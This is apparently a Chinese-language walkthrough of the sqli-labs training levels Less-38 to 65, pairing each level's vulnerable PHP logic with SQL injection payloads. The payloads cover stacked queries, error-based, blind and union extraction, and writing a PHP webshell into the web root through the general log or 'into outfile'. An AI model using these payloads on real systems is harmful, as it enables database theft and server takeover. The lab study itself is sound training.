在真实环境中通常只返回一个查询结果,因此,堆叠注入第二个语句可能产生错误或者结果被忽略,即在前端界面是无法看到返回结果的;在使用堆叠注入之前需要知道一些数据库相关信息的,例如表名,列名等信息
if (mysqli_multi_query($con1, $sql)) // 执行多个查询有结果
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1)) // 是否有更多结果
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
拼接点 | 可用注入类型 |
---|---|
单引号 | UNION、显错、bool盲、延时盲、堆叠 |
后续利用
堆叠注入可以执行任意SQL语句,那么就可以进行开启日志getshell
前提:
- 有web目录的物理路径
- MySQL用户可以对web目录有读写权限
payload:
id=1';set global general_log = "On";set global general_log_file='/var/www/html/shell.php';--+
id=1';select <?php phpinfo(); ?>;--+
访问shell.php即可
本题开启日志getshell尝试过程中,发现
set global general_log_file='/var/www/html/shell.php'
一直执行失败,原因是:/var/
目录不属于mysql用户,无法设置成功,进入容器修改目录权限即可执行成功
Less-39
拼接点 | 可用注入类型 |
---|---|
直接拼 | UNION、显错、bool盲、延时盲、堆叠 |
与Less-38类似
Less-40
拼接方式:单引号 + 括号
其余与Less-38类似
Less-41
拼接方式:直接拼
注入类型:无法报错注入
其余与Less-39类似
Less-42
login.php:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysqli_multi_query($con1, $sql))
if 查询成功:
return $row[1];
else:
print_r(mysqli_error($con1));
if 登录成功:
setcookie("Auth", 1, time()+3600);
跳转到 logged-in.php
logged-in.php:
提供修改密码功能
pass_change.php:
if 未登录:
重定向 index.php
if 修改密码表单:
$username = $_SESSION["username"];
$curr_pass = mysql_real_escape_string($_POST['current_password']);
$pass = mysql_real_escape_string($_POST['password']);
$re_pass = mysql_real_escape_string($_POST['re_password']);
if $pass == $re_pass:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
分析
第一处漏洞发生在登录时的password未过滤,可进行报错、堆叠、union等注入
第二处漏洞发生在update更新密码时对从session中获得的用户名未做过滤,利用方式与Less-24类似
Less-43
拼接方式:POST + 单引号 + 但括号
其余与Less-42类似
Less-44
拼接方式:单引号
注入类型:少了报错
其余与Less-43类似
Less-45
注入类型:少了报错
其余与Less-43类似
Less-46
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
if 查询成功:
输出查询结果
else:
print_r(mysql_error());
注入位置发生在order by 子句上
探测方式
更换id发现排序方式不同,可能是用不同的列进行排序
升降
# 升序
?sort=1 asc
# 降序
?sort=1 desc
rand()函数
?sort=rand(true)
?sort=rand(false)
二者返回结果不一样,且是固定的,因此可进行布尔、延时盲注
延时探测
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
返回时间为查询结果行数 * 1 秒
利用
报错
?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
# 利用procedure analyse 参数报错
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
盲注
?sort=rand(left(database(),1)='s')
# 延时
?sort=rand(if(ascii(substr(database(),1,1))=115,1,sleep(1)))
into outfile
直接导出(注意需要有写权限):
?sort=1 into outfile "/var/www/html/less46.txt"
getshell:
?sort=1 into outfile "/var/www/html/shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
限定每一行以0x3c3f70687020706870696e666f28293b3f3e(<?php phpinfo();?>
的十六进制编码)为结尾
Less-47
拼接方式:单引号
其余与Less-46类似
Less-48
注入类型:少了报错
其余与Less-46类似
Less-49
注入类型:少了报错
其余与Less-47类似
Less-50
注入类型:可以堆叠注入
其余与Less-46类似
Less-51-53
与Less50类似,只是在在注入类型和拼接方式上有变化
Less-54
index.php:
if $_GET['id']:
计数器加1;
if 计数器超过10次:
提示失败
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
if 有查询成功:
输出查询信息
else:
pass
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
要求从challenges数据库中10次得到secret key
利用
判断闭合:
?id=1' --+
可用union注入
判断字段数目:
?id=1' order by 3--+
?id=1' order by 4--+
结果为3
判断可注入的字段位置:
?id=-1' union select 1,2,3 --+
2和3可以
查询表名:
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='challenges') --+
表名F6ZVUD1OQV
查询列名:
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='F6ZVUD1OQV')--+
id,sessid,secret_MJF9,tryy
查目标结果:
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(secret_MJF9)+FROM+F6ZVUD1OQV)--+
5p85ATWNXGEvh89AXJ4GteMe
Less-55-57
与Less-54类似,只是在闭合方式上有变化
Less-58
与Less-54相比,这一关在输出信息时不是直接将查询结果返回,而是根据查询结果中的id字段从硬编码数组中取信息,这样union注入就无用了
但是又输出了报错信息,因此可利用报错注入
Less-59-65
与Less58类似,只是在闭合方式和注入类型少有区别